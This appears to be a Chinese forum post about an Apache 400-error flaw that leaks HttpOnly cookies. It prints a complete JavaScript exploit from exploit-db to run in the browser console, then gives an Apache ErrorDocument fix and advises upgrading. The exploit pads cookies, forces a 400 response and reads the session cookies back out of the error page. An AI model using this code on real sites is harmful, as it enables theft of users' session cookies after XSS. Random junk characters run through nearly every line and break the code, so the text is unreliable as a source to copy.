很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
% F- Q6 A' T: h9 u0 i- F/ W
9 K, I4 H, R. |7 `0 B* y用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
& S: F( a V9 r- A 7 o" G! |- C) X1 K r* [
5 t+ N. P* J: C0 Z
// http://www.exploit-db.com/exploits/18442/
$ `! x& W# [: `) n8 ^function setCookies (good) {+ u; s# }# c7 \5 l- r
// Construct string for cookie value; b! D1 U5 w6 K" r0 t m, u
var str = "";3 L7 ?4 U: T/ l- ]2 i
for (var i=0; i< 819; i++) {
2 M+ n* \0 y# N4 Ystr += "x";
3 [: E1 R, G! P) T S7 ]}2 A% i+ G" x/ J
// Set cookies. N# F6 T+ w1 {& c
for (i = 0; i < 10; i++) {
- J4 m; g: y1 q0 w. i// Expire evil cookie
4 Q( P- W+ r9 l$ e1 x; f5 z) wif (good) {+ B% l* z( y# k8 `, f
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
+ j7 y! _2 u6 E( H( c( `}
% Q- }$ n8 k9 P' P( M// Set evil cookie
5 h, c% ^1 n2 e+ pelse {7 F+ U# W" O2 B
var cookie = "xss"+i+"="+str+";path=/";, I/ `/ Q0 v$ _2 n1 t# W& Q
}
( A! G+ c6 ^2 R$ @( H2 [$ q9 l5 e* vdocument.cookie = cookie;
7 X8 ]: A4 [2 U! ^9 J}6 K1 I/ e7 D# M! |7 k6 f) a
}; p# s$ A& R Q5 ^$ t5 K
function makeRequest() {
; L( C/ \) V6 R6 K) k4 J0 PsetCookies();, p. y5 d( e% ~$ a
function parseCookies () {
/ V7 x# v* ^3 g" L g4 jvar cookie_dict = {};
$ K3 T. V3 ~. t# ]5 \// Only react on 400 status
) [/ W) G) C% m. T. X7 e l0 vif (xhr.readyState === 4 && xhr.status === 400) {
; t$ e$ ]) ]# i0 E! }// Replace newlines and match <pre> content$ b1 x0 ~3 f2 [& z8 H3 D" f# G5 L
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);7 K( Q# f) r( ~0 i9 {3 w7 L
if (content.length) {
/ K+ B* t- n" s8 H2 O// Remove Cookie: prefix
: Z5 T; m5 K a1 ycontent = content[1].replace("Cookie: ", "");- g u3 p9 Y+ F3 G0 W. V" N
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
- H% I0 o5 ?& U2 w+ |; x( u// Add cookies to object6 Z- G) d9 `/ F5 q [
for (var i=0; i<cookies.length; i++) {
1 F$ Z B; A2 lvar s_c = cookies.split('=',2);
' k6 c, s4 l9 F4 O3 z2 X: ocookie_dict[s_c[0]] = s_c[1];
) f( U( G# {4 T& y9 k4 F# v}. j* k0 k2 E: |9 ~/ Z
}% J# ^4 X6 a' z$ R
// Unset malicious cookies
4 f2 v7 Y' b- `9 o! ?4 _setCookies(true);, r- m; y3 G- P/ N/ N: Q6 K: n6 ?/ ~
alert(JSON.stringify(cookie_dict));
. [) i+ _& |+ P- P+ }# e, v P}
4 ~: P( G5 R8 j}
/ [) q* F( U! t2 t// Make XHR request4 @* Q- [" `" D5 }, j7 W7 F# C. ^
var xhr = new XMLHttpRequest();/ s1 f( G7 p/ x9 n" W2 f$ T4 Y, {
xhr.onreadystatechange = parseCookies;
1 j `' D3 V1 x: w* r" Oxhr.open("GET", "/", true);
: x: }3 Q( I/ K& Pxhr.send(null);
6 b! t% f1 z: I0 n- P5 _% j% H}; S& |6 M6 M2 W5 S
makeRequest();
1 D$ U6 m5 J, ^1 B* l
+ s$ Z0 i7 }* c" c3 ], r你就能看见华丽丽的400错误包含着cookie信息。. X) v6 T& h+ H
7 A4 [( [* F5 R/ h6 ~# A7 c下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
4 b. u+ e2 }& x6 r6 \& l- M5 y4 C- q4 r) [; R9 a1 p: _: @
修复方案:
* l0 r' ~ }' `' r* _6 A
) w! y( X' H9 r8 p, a9 \1 FApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下, I( a. O( K% d6 Y" w0 C& r$ p+ B1 D- e
/ k S# w2 W; K, }9 p% d- E7 m
In the event of a problem or error, Apachecan be configured to do one of four things,/ S& p/ s6 e0 {# \9 {; ~
- t0 n+ G( E2 O3 P' L, Y; o6 \+ e
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息" X" c, m$ m- a! y/ O6 V8 b
2. output acustomized message输出一段信息
1 t6 V! T" s' b$ _9 ^/ x& J: ^! [& D3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 5 N: q: b2 r/ W9 V5 q& y
4. redirect to an external URL to handle theproblem/error转向一个外部URL
Q- K7 c( s! U T; f0 r x
$ i$ k1 k7 F9 q0 V$ W5 C; p经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
" U( n5 B( \' I( x; j: f
. u U+ o! v( c: ? D2 @9 S* U. S/ `+ zApache配置:
5 n% a3 Q* m# a; x8 I" H( G) H3 H: q! G
ErrorDocument400 " security test"
R, j/ l! ^! _7 A; N. e- N, c8 B% U( m
当然,升级apache到最新也可:)。
$ M# J: _8 w" m& b, K- k
' O% a6 D0 Q% o. \7 ~# w1 \- @参考:http://httpd.apache.org/security/vulnerabilities_22.html
: i* p8 q- b+ @& a" \2 b% x* [* v2 m! K# \
|